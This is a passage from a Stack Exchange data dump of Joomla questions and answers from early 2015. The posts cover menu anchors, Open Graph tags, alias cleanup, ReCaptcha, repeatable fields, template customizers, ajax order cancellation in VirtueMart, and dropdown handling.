$flink;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="3474" LastEditorUserId="3474" LastEditDate="2015-01-13T11:35:04.417" LastActivityDate="2015-01-13T11:35:04.417" Title="Anchor menu # without Path system URL" Tags="|joomla-3.x|menu-item|weblinks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6974" PostTypeId="2" ParentId="6973" CreationDate="2015-01-13T09:53:32.587" Score="0" Body="&lt;p&gt;Check that you don't have spaces before the # on the &quot;Link&quot; attribute of External URL. If that does not help would check for some strange template overwrites of mod_menu (templates/YOURTEMPLATE/html/mod_menu).&#xA;Also are you using the joomla default mod_menu?&lt;/p&gt;&#xA;" OwnerUserId="3464" LastActivityDate="2015-01-13T09:53:32.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6975" PostTypeId="1" AcceptedAnswerId="6979" CreationDate="2015-01-13T10:17:43.833" Score="5" ViewCount="11233" Body="&lt;p&gt;When I share my main website on Facebook, it's not showing the right information on Photo, website's name and website's description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can customize this information? not just for me, but for all users who will share the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link share (copy + paste). No buttons.&lt;/p&gt;&#xA;" OwnerUserId="3385" LastActivityDate="2017-04-21T10:07:48.203" Title="How to change Website Information link shared on Facebook?" Tags="|facebook|metadata|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6976" PostTypeId="1" AcceptedAnswerId="6991" CreationDate="2015-01-13T10:27:37.680" Score="3" ViewCount="51" Body="&lt;p&gt;I've been working on my own template for work, and in the progress made different temporary articles, categories and menu names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the launch I'd like to clean it up as much as possible, resetting used aliases, so for the actual site, we don't have to use &lt;code&gt;about3&lt;/code&gt; for alias, but can reset it to just 'about'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, or should I just make a backup/clone and start fresh and copy everything over by hand?&lt;/p&gt;&#xA;" OwnerUserId="3478" LastEditorUserId="1629" LastEditDate="2015-01-13T11:50:26.663" LastActivityDate="2015-01-13T23:50:33.700" Title="Clean up a WIP site before launch" Tags="|joomla-3.x|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6977" PostTypeId="1" CreationDate="2015-01-13T12:42:19.930" Score="1" ViewCount="502" Body="&lt;p&gt;So I have a Joomla! 3.3.6 site and I have everything set up as it's suposed to be (the ReCaptcha as the Global Captcha and I've changed the keys several times, but nothing happens). I use a plug-in, ChronoForms V5 for a registration form in other part of the site and there the ReCaptcha works, but if I use the standard Contact module it doesn't load anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check it out here: &lt;a href=&quot;http://uecsants.org/nova_web/entitat/contacta&quot; rel=&quot;nofollow&quot;&gt;http://uecsants.org/nova_web/entitat/contacta&lt;/a&gt;&#xA;It's supposed to be over the &quot;Envia Correu&quot; Button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3479" LastActivityDate="2015-01-13T12:42:19.930" Title="ReCaptcha not working on Contact page" Tags="|joomla-3.x|joomla-3.3.x|form|" AnswerCount="0" CommentCount="1" ClosedDate="2016-03-17T19:16:38.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="6978" PostTypeId="2" ParentId="6942" CreationDate="2015-01-13T12:50:08.640" Score="2" Body="&lt;p&gt;This would be a comment but don't have enough reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like your english links are missing event listeners for &quot;div.accordion-heading&quot; (default.js line 12) and a click event from default.js (line 27) if you check them out with firebug &quot;Events&quot;. And if this is only in the english side, I would check to see if you have and english &quot;default&quot; menu or have published the accordion menu on the english menu side also. Or something that would be the cause for not calling those event binders.&lt;/p&gt;&#xA;" OwnerUserId="3464" LastActivityDate="2015-01-13T12:50:08.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6979" PostTypeId="2" ParentId="6975" CreationDate="2015-01-13T13:00:11.813" Score="5" Body="&lt;p&gt;To manage how your pages are shared on &lt;strong&gt;Facebook&lt;/strong&gt; by users, Facebook has created &lt;a href=&quot;https://developers.facebook.com/docs/reference/opengraph/object-type/article&quot; rel=&quot;noreferrer&quot;&gt;Open Graph Tags&lt;/a&gt; (e.g. article). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you have to add in your site these tags in the head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;....&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:locale&quot; content=&quot;en_GB&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;...&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;...&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;...&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this way, Facebook loads this information to create a Post or Like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find several extension in JED's &lt;a href=&quot;http://extensions.joomla.org/category/social-web/social-share&quot; rel=&quot;noreferrer&quot;&gt;Social Share&lt;/a&gt; category, that can provide a straightforward method to generate the Open Graph Tags for your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, &lt;strong&gt;Twitter&lt;/strong&gt; has also created &lt;a href=&quot;https://dev.twitter.com/cards/types/summary-large-image&quot; rel=&quot;noreferrer&quot;&gt;TwitterCards&lt;/a&gt; tags (e.g. summary-large-image)to support the very same functionality (and there are extensions already supporting TwitterCards).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;twitter:title&quot; content=&quot;...&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;twitter:image:src&quot; content=&quot;..&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;twitter:creator&quot; content=&quot;@...&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-13T13:00:11.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6980" PostTypeId="2" ParentId="6972" CreationDate="2015-01-13T13:14:16.540" Score="0" Body="&lt;p&gt;By default, Joomla provides a .htaccess file with several definitions and security restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php is the main entry point, and there are several additional restrictions to avoid executing any arbitraty php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to test, remove the .htaccess and execute download.php. Once you confirm how it works, be extra careful to configure the .htaccess and keep the site secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An extension for site administration, like &lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Admin tools&lt;/a&gt;, allows to reconfigure the .htaccess, adding more rules or exceptions to allow direct access to specific files.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-13T13:14:16.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6981" PostTypeId="2" ParentId="6976" CreationDate="2015-01-13T13:45:58.087" Score="1" Body="&lt;p&gt;Your question is a bit unclear, are you developing a template or designing a website? Template and content is completely separated in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, you can edit your aliases manually, I'm not aware of any automatic way to reset them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WWrLK.jpg&quot; alt=&quot;Menu item alias&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u5y7P.jpg&quot; alt=&quot;Article alias&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have conflicting aliases (like your &lt;code&gt;about&lt;/code&gt; page), you have to locate the article using &lt;code&gt;about&lt;/code&gt; as alias, and either delete it or change the alias. Aliases are displayed in both Article Manager and Menu Manager, so it should be easy to locate using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; in your browser. Once the &lt;code&gt;about&lt;/code&gt; alias is removed, you can edit your new &lt;em&gt;About&lt;/em&gt; page to use this alias. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Article aliases within the same category and Menu aliases within the same menu level has to be unique.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M286v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-13T13:45:58.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6983" PostTypeId="1" CreationDate="2015-01-13T15:49:54.743" Score="1" ViewCount="287" Body="&lt;p&gt;I'm using ContentBuilder Views plugin to display my forms results. It works just fine, the problem is that it only works with &lt;strong&gt;NO&lt;/strong&gt; SEF URL's. And i really would like to use SEF URL's so my links would be much more user friendly, it wouldn't display those visually messed up links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use SEF URL's, I try to access my page where data forms are and I get a &lt;code&gt;404 - Not found&lt;/code&gt;, although, my other pages are working fine. Even the form page. This only happens with the data display page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has any idea why does it stop working with SEF URL's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-01-21T06:30:34.053" Title="ContentBuilder Views Component doesn't list Views with SEF URLs" Tags="|url|form|sef|view|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6988" PostTypeId="1" CreationDate="2015-01-13T20:37:16.777" Score="7" ViewCount="1668" Body="&lt;p&gt;repeatable - How to get values from this field type ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am coding a Free module with a repeatable field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;star_slides&quot; type=&quot;Repeatable&quot; icon=&quot;list&quot; description=&quot;&quot; label=&quot;Edit Your Slides&quot; default=&quot;{'main_image':[''],'left_side':[''],'right_side':['']}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;     &#xA;          &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a normal module parameter, I can get value like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$test         = $params-&amp;gt;get('test');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do the same for the repeatable field &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$test         = $params-&amp;gt;get('star_slides');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get all the values of the main field - Looks like an array output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this for a repeatable form field and get value of EACH repetition of the field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the above case, my goal is to get the value of the field &quot;main_image&quot; for each repetition. I am thinking use &quot;for each&quot; but not sure how to get through and pull the values of each row, each field - one by one.&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2016-06-16T05:35:41.323" Title="Get Value of Repeatable Field from Joomla XML manifest" Tags="|joomla-3.x|php|module|extensions|xml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6989" PostTypeId="1" CreationDate="2015-01-13T20:58:49.040" Score="1" ViewCount="299" Body="&lt;p&gt;I installed a Warp 7 template today to my Joomla 3.3.6 and I have a little problem. It doesn't look like a template problem, it looks like a javascript conflict or a restriction of my isntallation and maybe you can help me to sort it out.&#xA;When I click the customizer button it is loading for a while and then it redirects to homepage. I tried disabling all components modules and plugins without any success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="3482" LastEditorUserId="1629" LastEditDate="2015-01-13T23:01:47.387" LastActivityDate="2015-02-13T01:56:33.637" Title="Joomla 3.3.6 Warp 7 theme customizer redirects to homepage" Tags="|joomla-3.3.x|templates|template-framework|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6990" PostTypeId="2" ParentId="6989" CreationDate="2015-01-13T21:57:46.123" Score="2" Body="&lt;p&gt;I use StarAzure.com themes that are also based on Warp 7.  I had the same issue and one of the following solved this for me -  Thanks to a great support policy that StarAzure has.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure that your styles folder and the template folder has proper permissions - write permissions should be available because saving and/or adding a new style in the customizer needs write permission&lt;/li&gt;&#xA;&lt;li&gt;Make sure you are logged on to super user or admin that has sufficient rights to access and edit the template&lt;/li&gt;&#xA;&lt;li&gt;As a quick test - Just download the master theme which is the free and most basic version. You should then disable all plugins and modules that you installed (after you installed joomla). You can find the latest ones by sorting them based on ID. Then go to template manager of the master theme and access the customizer.&lt;/li&gt;&#xA;&lt;li&gt;I hope you have not added any new LESS variables in the &lt;code&gt;theme.less&lt;/code&gt; or any files in the LESS folder of the template. If so -  Please revert them.&lt;/li&gt;&#xA;&lt;li&gt;Lastly - all default values in the customizer are represented by @. If you have modified any values, try to delete them and let it be @ because sometimes you may enter #fff for a height field which should be in pixels etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should solve it.&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="1629" LastEditDate="2015-02-13T01:56:33.637" LastActivityDate="2015-02-13T01:56:33.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6991" PostTypeId="2" ParentId="6976" CreationDate="2015-01-13T23:50:33.700" Score="2" Body="&lt;p&gt;You can clean up articles, categories and menus by trashing them in Article Manager, Category Manager and Menu Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need to empty the Article, Category and Menu Trash before you can create a new article, category or menu with an alias that has already been used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Article Manager, Category Manager and Menu Manager, click on &lt;kbd&gt;Search Tools&lt;/kbd&gt; and select &lt;kbd&gt;Trashed&lt;/kbd&gt; to display the &lt;kbd&gt;&lt;strong&gt;X&lt;/strong&gt; Empty Trash&lt;/kbd&gt; option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NgFGL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-01-13T23:50:33.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6992" PostTypeId="2" ParentId="6969" CreationDate="2015-01-14T00:23:47.563" Score="4" Body="&lt;p&gt;Before reinstalling, delete the files and folders that have been installed into the www or public_html or other folder where Joomla is installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an option during the standard Joomla installation on the Database Configuration page to remove any existing tables so there's no need to drop (remove) the database tables using phpMyAdmin or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba Kickstart has a similar option to drop (remove) existing tables if you are restoring from a backup.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-01-14T00:23:47.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6993" PostTypeId="1" CreationDate="2015-01-14T02:19:12.457" Score="0" ViewCount="760" Body="&lt;p&gt;I am using VM 3.0.2 with JM 3.3.&lt;br&gt;&#xA;I know that order cancellation is, unfortunately, not available in VM3 and I am trying to add it.&lt;br&gt;&#xA;To do this, I added a link to the &quot;order list&quot; on the front end for registered users. I have also changed it so that if the order is still in &quot;Confirmed By Customer&quot;, it adds a button called cancel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added an ajax call when &quot;cancel&quot; is clicked to call a file.php with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($_REQUEST['id'])) { &#xA;            $id= $_REQUEST['id'];&#xA;            if ($id) {&#xA;&#xA;                    if (!class_exists('VirtueMartModelOrders'))&#xA;                            require( JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php' );&#xA;                    $modelOrder = new VirtueMartModelOrders();&#xA;                    $order['order_status'] = 'X';&#xA;                    $order['virtuemart_order_id'] = $id;&#xA;                    $order['customer_notified'] = 1;&#xA;                    $modelOrder-&amp;gt;updateStatusForOneOrder($id, $order, true);&#xA;            }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My ajax call is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;  $(&quot;.can&quot;).click(function(event) {&#xA;    var id = event.target.id;&#xA;    $.ajax({&#xA;      type: 'get',&#xA;      url: '/orders/f.php',&#xA;      data: {&#xA;        id: id&#xA;      },&#xA;      success: function(data) {&#xA;        alert('tritri');&#xA;      },&#xA;      error: function(jqXHR, status, err) {&#xA;        alert(err);&#xA;      }&#xA;    });&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is that the result is always alerting the word &lt;code&gt;tritri&lt;/code&gt; and order is not getting cancelled... I have placed &lt;code&gt;f.php&lt;/code&gt; in &lt;code&gt;views/orders/tmpl&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Is there a simpler way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3483" LastEditorUserId="126" LastEditDate="2016-01-21T23:51:24.663" LastActivityDate="2016-01-21T23:51:48.820" Title="Call php with ajax" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6994" PostTypeId="2" ParentId="6993" CreationDate="2015-01-14T04:26:22.530" Score="2" Body="&lt;p&gt;A jquery ajax request is still technically &quot;successful&quot; as long as the &lt;em&gt;ajax&lt;/em&gt; request doesn't run into an actual error in the process of execution-- as long as it's successful in hitting the endpoint and returning with something, it's successful-- it doesn't know about your application state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you need to do is gain some insight into what's actually happening on the other end. You can use the new Joomla &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JResponseJson&lt;/code&gt;&lt;/a&gt; class to help return an object that will have an application-specific (rather than ajax-specific) success / failure message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Psuedo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($_REQUEST['id'])) { &#xA;        $id= $_REQUEST['id'];&#xA;        if ($id) {&#xA;                if (!class_exists('VirtueMartModelOrders')) require( JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php' );&#xA;                $modelOrder = new VirtueMartModelOrders();&#xA;                $order['order_status'] = 'X';&#xA;                $order['virtuemart_order_id'] = $id;&#xA;                $order['customer_notified'] = 1;&#xA;                try &#xA;                {&#xA;                    $result = $modelOrder-&amp;gt;updateStatusForOneOrder($id, $order, true);&#xA;                    echo new JResponseJson($result);&#xA;                }&#xA;                catch(Exception $e)&#xA;                {&#xA;                    // assuming the model throws a real exception-- otherwise check the $result value for success / failure&#xA;                    echo new JResponseJson($e);&#xA;                }&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your ajax function's &lt;code&gt;success&lt;/code&gt; block, check what result is there, and if it's an error message alert / display it, or continue processing if it's a success message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  success: function(data) {&#xA;    if(data.success){&#xA;      // real success&#xA;    } else {&#xA;      // handle error&#xA;    }&#xA;  },&#xA;  error: function(jqXHR, status, err) {&#xA;    alert(err);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="126" LastEditDate="2016-01-21T23:51:48.820" LastActivityDate="2016-01-21T23:51:48.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6996" PostTypeId="1" AcceptedAnswerId="6997" CreationDate="2015-01-14T07:00:59.263" Score="0" ViewCount="1019" Body="&lt;p&gt;First of all, I posted this in Joomla Stackexchange because I have created a simple html file and the disabling of the dropdown works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this javascript code right here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function disable()&#xA; {&#xA;   var x = document.getElementById('jform_report');&#xA;if(x==null)&#xA;    {&#xA;        alert('null');&#xA;    }&#xA;else&#xA;    {&#xA;        x.disabled = true;&#xA;    }       &#xA; event.preventDefault();&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I even created this long code just to make sure that I am getting the Id of the dropdown. Which I got successfully. The problem is, the dropdown still remains enabled. I tried this code with other fields such as a textbox. They work except for dropdown lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I use inspect element in the page, this code appears just below the code tag of my dropdown list please see the highlighted area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUOCU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-01-14T07:33:37.037" LastActivityDate="2015-01-14T07:56:28.793" Title="Disabling a dropdown list" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6997" PostTypeId="2" ParentId="6996" CreationDate="2015-01-14T07:50:44.923" Score="3" Body="&lt;p&gt;I think that the problem is in chosen. You are disabling just your select, but chosen renders its content. Please &lt;a href=&quot;https://stackoverflow.com/questions/17153417/disable-jquery-chosen-dropdown&quot;&gt;see this question&lt;/a&gt; for the possible solution.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-14T07:56:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6998" PostTypeId="1" AcceptedAnswerId="7055" CreationDate="2015-01-14T08:39:48.293" Score="2" ViewCount="830" Body="&lt;p&gt;I have a dropdown which has a value saved from the database. The problem is, when I go to the page to view the values it returns to the default. Here are my screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my 1st image, it displays an alert message showing the subscription type's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NumUU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right after clicking OK in the alert box, the value of the dropdown subscription type is reset to blank. Please see 2nd image for reference :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjtTL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot of the inspect element of the dropdown list. In the inspect element, it actually has a value selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rikSr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I refresh the page, the actual value then displays but in the alert message, it does not get the value. Please see 4th image for reference: &lt;img src=&quot;https://i.stack.imgur.com/bowRO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to click submit, a validation message displays for the subscription_type dropdown list stating that it does not have a value when in fact it does. Please see 5th picture for reference :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BLpbJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? please pardon the long post due to the pictures. I need to post pics for clearer understanding of the problem. Also, I do not have any code specialized for the dropdown value so I'm wondering why it is working it like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything, here is the dropdown list's code in the .xml form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field name =&quot;subscription_type&quot; type=&quot;list&quot; &#xA;    label=&quot;Subscription Type&quot;&#xA;        description=&quot;Type of Subscription either Regular or Special&quot;&#xA;        option_on =&quot;Yes&quot;&#xA;        option_off =&quot;Yes&quot;&#xA;        default = &quot;&quot;&#xA;        required=&quot;true&quot;             &#xA;        &amp;gt;&#xA;&#xA;        &amp;lt;option value = &quot;&quot;&amp;gt;- Select Subscription Type -&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value =&quot;RDS&quot;&amp;gt;RDS&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value =&quot;SDS&quot;&amp;gt;SDS&amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="159" LastEditDate="2015-01-17T16:25:34.283" LastActivityDate="2015-01-21T07:19:15.740" Title="Dropdown Value not loading on page's first load" Tags="|joomla-3.x|javascript|fix-my-code|jquery|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6999" PostTypeId="1" AcceptedAnswerId="7001" CreationDate="2015-01-14T12:37:03.147" Score="1" ViewCount="994" Body="&lt;p&gt;In the admin section of a component, i have this form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4PxjN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just added the checkboxes in the left following this &lt;a href=&quot;https://docs.joomla.org/J1.5:Developing_a_MVC_Component/Adding_Backend_Actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MyCode:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i=$rows_num;&#xA;$checked    = JHTML::_( 'grid.id', $i, $voter[&quot;vid&quot;] );&#xA;echo $checked;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the Delete button shown in picture like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bar-&amp;gt;appendButton( 'Link', 'delete', 'Διαγραφή συγκεκριμένων ψήφων', 'index.php?option=com_exnetpolls&amp;amp;deleteit='.$isnotempty.'&amp;amp;gotcha=yo ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The component isnt mine and the creator didnt use a controller ( every single action is executed in exnetpolls.php file  ) so i created a new file getitdeleted.php and  in exnetpolls.php i added this code : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exnetpolls.php (first file that getting executed)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($_GET['deleteit']!=&quot;&quot; &amp;amp;&amp;amp; $_GET['deleteit']!=NULL){ &#xA;    include(&quot;getitdeleted.php&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And in getitdeleted.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;echo &quot;test&quot;;&#xA;$cid = JRequest::getVar('cid',array(),'','array');&#xA;var_dump($cid);&#xA;if(isset($_GET['gotcha'])){&#xA;echo &quot;worked&quot;.$_GET['deleteit'];&#xA;//code to delete from db&#xA;unset($_GET['gotcha']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the way im using is a bit retarted,but it works except that the: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cid = JRequest::getVar('cid',array(),'','array');&#xA;var_dump($cid);&#xA;&#xA;returns array(0) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Altough if i type in my browser :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_exnetpolls&amp;amp;deleteit=18&amp;amp;gotcha=yo&amp;amp;cid[]=2&#xA;&#xA;the var_dump returns : array(1) { [0]=&amp;gt; string(1) &quot;2&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also noticed that i could somehow parse the value with jquery using the id of input, but i would like to do that if it was my last option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;cb15&quot; name=&quot;cid[]&quot; value=&quot;2278&quot; 